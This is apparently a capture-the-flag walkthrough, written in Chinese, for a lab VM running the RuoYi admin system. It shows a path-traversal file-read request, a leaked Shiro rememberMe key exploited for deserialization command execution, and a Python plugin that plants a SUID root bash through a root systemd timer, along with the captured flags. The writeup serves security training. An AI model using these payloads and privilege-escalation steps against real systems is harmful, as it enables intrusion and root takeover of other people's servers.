

Ruoyi-last

端口扫描

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64    OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGBgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7m
gl0F/HRQLGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC100FbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJ
meLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShX0Lu0ANNqZEXyJyWjaK+Mqy0K6ZtoW
dyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SIEY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPy
xT/kDKr1VcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh
1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1Vwp0z3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBi2Hl4ZEYgnoDQflo03hi6346mXex60PxHEjxDuf
HbkQZVosDPFwZttA8gloBLyLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAAILRLvZKpSJkETalR4sqzJ0h8a4ivZ8wGt1HfdV30MNY1
80/tcp    open  http      syn-ack ttl 64    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: E49FD30EA870C7A820464CA56A113E6E
| http-title: \xE7\x99\xBB\xE5\xBD\x95\xE8\x8B\xA5\xE4\xBE\x9D\xE7\xB3\xBB\xE7\xBB\x9F
|_Requested resource was /login
MAC Address: 08:00:27:AE:19:40 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

80端口是若依后台管理系统，首页发现了一个注册接口的注释

```

1 <!DOCTYPE html>
2 <html lang="zh">
3 <head>
4     <meta charset="utf-8">
5     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
6     <title>登录若依系统</title>
7     <meta name="description" content="若依后台管理系统">
8     <link href="/css/bootstrap.min.css" rel="stylesheet"/>
9     <link href="/css/font-awesome.min.css" rel="stylesheet"/>
10    <link href="/css/style.css" rel="stylesheet"/>
11    <link href="/css/login.min.css" rel="stylesheet"/>
12    <link href="/ruoyi/css/ruoyi.css?m=5.0" rel="stylesheet"/>
13    <!-- 360浏览器兼容模式 -->
14    <meta name="renderer" content="webkit">
15    <!-- 避免IE使用兼容模式 -->
16    <meta http-equiv="X-UA-Compatible" content="IE=edge">
17    <link rel="shortcut icon" href="/favicon.ico"/>
18    <style type="text/css">label.error { position:inherit; }</style>
19    <script>
20        if(window.top!==window.self){alert('未登录或登录超时，请重新登录');window.top.location=window.location};
21    </script>
22    </head>
23    <body class="signin">
24        <div class="signinpanel">
25            <div class="row">
26                <div class="col-sm-7">
27                    <div class="signin-info">
28                        <div class="logopanel m-b">
29                            <h1></h1>
30                        </div>
31                        <div class="m-b"></div>
32                        <h4>欢迎使用 <strong>若依 后台管理系统</strong></h4>
33                        <ul class="m-b">
34                            <li><i><div class="fa fa-arrow-circle-o-right m-r-xs"></i> SpringBoot</li>
35                            <li><i><div class="fa fa-arrow-circle-o-right m-r-xs"></i> Mybatis</li>
36                            <li><i><div class="fa fa-arrow-circle-o-right m-r-xs"></i> Shiro</li>
37                            <li><i><div class="fa fa-arrow-circle-o-right m-r-xs"></i> Thymeleaf</li>
38                            <li><i><div class="fa fa-arrow-circle-o-right m-r-xs"></i> Bootstrap</li>
39                        </ul>
40                        <strong>测试账号请联系管理员开通</strong>
41                    </div>
42                </div>
43                <div class="col-sm-5">
44                    <form id="signupForm" autocomplete="off">
45                        <h4 class="no-margins">注册</h4>
46                        <p class="text-m">你准备好了吗，我必生死相依</p>
47                        <input type="text" name="username" class="form-control uname" placeholder="用户名" />
48                        <input type="password" name="password" class="form-control pword" placeholder="密码" />
49                        <div class="checkboxbox custom m-t">
50                            <input type="checkboxbox" name="rememberme" value="rememberme">记住我</div>
51                        <div>
52                            <button class="btn btn-success btn-block">登录</button>
53                            <button class="btn btn-block" data-loading="正在验证登录，请稍后...">登录</button>
54                        </div>
55                    </form>
56                </div>
57            </div>
58            <div class="signin-footer">
59                <div class="pull-left">

```

尝试以用户名 `admin` 注册，发现注册成功，但是权限是普通用户，首页泄露版本号 `4.5.0`

发现 LFI, 但是没有读到私钥

项目IntruderRepeater查看帮助

仪表盘目标代理IntruderRepeaterCollaboratorSequencer编码工具日志Organizer扩展学习HaEAPIFinderxia YueUpload FuzzDou5SQLcaptcha-killer-modified

123x+

发送取消<>>Burp Al

请求美化RawHex

1 GET //common/download/resource?resource=/profile/../../../../../../../../home/fortonight/user.txt HTTP/1.1

2 Host: 192.168.39.54

3 Accept-Language: zh-CN,zh;q=0.9

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36

6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

7 Referer: http://192.168.39.54/index

8 Accept-Encoding: gzip, deflate, br

9 Cookie: JSESSIONID=7db2b5b0-8e2c-4ea4-a7c9-7525fc089485

10 Connection: keep-alive

11

12

响应美化RawHex页面渲染

1 HTTP/1.1 200

2 Date: Fri, 03 Apr 2026 01:48:53 GMT

3 Server: Apache/2.4.62 (Debian)

4 Content-Disposition: attachment; filename=user.txt;filename*=utf-8'`user.txt

5 Content-Type: application/octet-stream

6 Content-Length: 39

7 Keep-Alive: timeout=5, max=100

8 Connection: Keep-Alive

9

10 flag{444b96396ceb0927739d6c41cd1a6d5}

11

Inspector

请求属性2

请求查询参数1

请求主体参数0

请求cookies1

请求头9

响应头7

0高亮

0高亮

完成

事件日志 (1) 所有问题 (16)

319字节 | 1,005 millis

内存: 430.2MB

通过 LFI 我们能读到 `/proc/self/environ`，发现当前目录 `-Dcatalina.base=/opt/tomcat`

简单枚举，发现 `/opt/tomcat/webapps/ROOT/WEB-INF/classes/application.yml`，发现 `shirokey` 直接打反序列化

设置

▼ 检测目标

GET

目标地址

http://192.168.39.54/

超时设置/s

10

▼ 复杂请求

请求头

Abc: 123

POST数据

a=123

▼ 密钥探测

关键字

rememberMe

指定密钥

IUAjJE1hWmUIXiYqMjAyNg==

☒ AES GCM

检测当前密钥

爆破密钥

▼ 利用方式

利用链

CommonsBeanutils1

回显方式

TomcatEcho

检测当前利用链

爆破利用链及回显

检测日志 × 命令执行 × 内存马 × key生成 ×

输入命令

id

执行

uid=1001(fortonight) gid=1001(fortonight) groups=1001(fortonight),1002(ops)

BY SummerSec

linpeas 扫描的时候发现了一个很突兀的组 ops ，恰好还有能改的，是 reporter.py 会 import /opt/opsagent/plugins/netmon.py

```

===== Interesting GROUP writable files (not in Home) (max 200)
📌 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
Group fortnight:
/tmp/linpeas.sh
Group ops:
/opt/opsagent/plugins
/opt/opsagent/plugins/netmon.py
  
```

找一下是什么在跑这个py，发现有定时任务

```

fortonight@Ruoyi:/opt/opsagent/plugins$ systemctl cat ops-report.timer
# /etc/systemd/system/ops-report.timer
[Unit]
Description=Run ops report periodically

[Timer]
OnBootSec=2min
OnUnitActiveSec=1min
Unit=ops-report.service
  
```

```
[Install]
WantedBy=timers.target
fortonight@Ruoyi:/opt/opsagent/plugins$ systemctl cat ops-report.service
# /etc/systemd/system/ops-report.service
[Unit]
Description=Ops Report Generator
After=network.target

[Service]
Type=oneshot
User=root
WorkingDirectory=/opt/opsagent
ExecStart=/usr/bin/python3 /opt/opsagent/reporter.py
```

exp

```
import os
import socket

def collect():
    os.system("cp /bin/bash /home/fortonight/rootbash")
    os.system("chmod 4755 /home/fortonight/rootbash")
    return {
        "hostname": socket.gethostname(),
        "uid": os.getuid(),
        "euid": os.geteuid()
    }
```

```
fortonight@Ruoyi:~$ ls
rootbash tmp user.txt
fortonight@Ruoyi:~$ ./rootbash -p
rootbash-5.0# id
uid=1001(fortonight) gid=1001(fortonight) euid=0(root) groups=1001(fortonight),1002(ops)
rootbash-5.0# cd /root
rootbash-5.0# ls
root.txt
rootbash-5.0# cat root.txt
flag{cc348dd6b858eb87eedfcd32dcaa7358}
rootbash-5.0#
```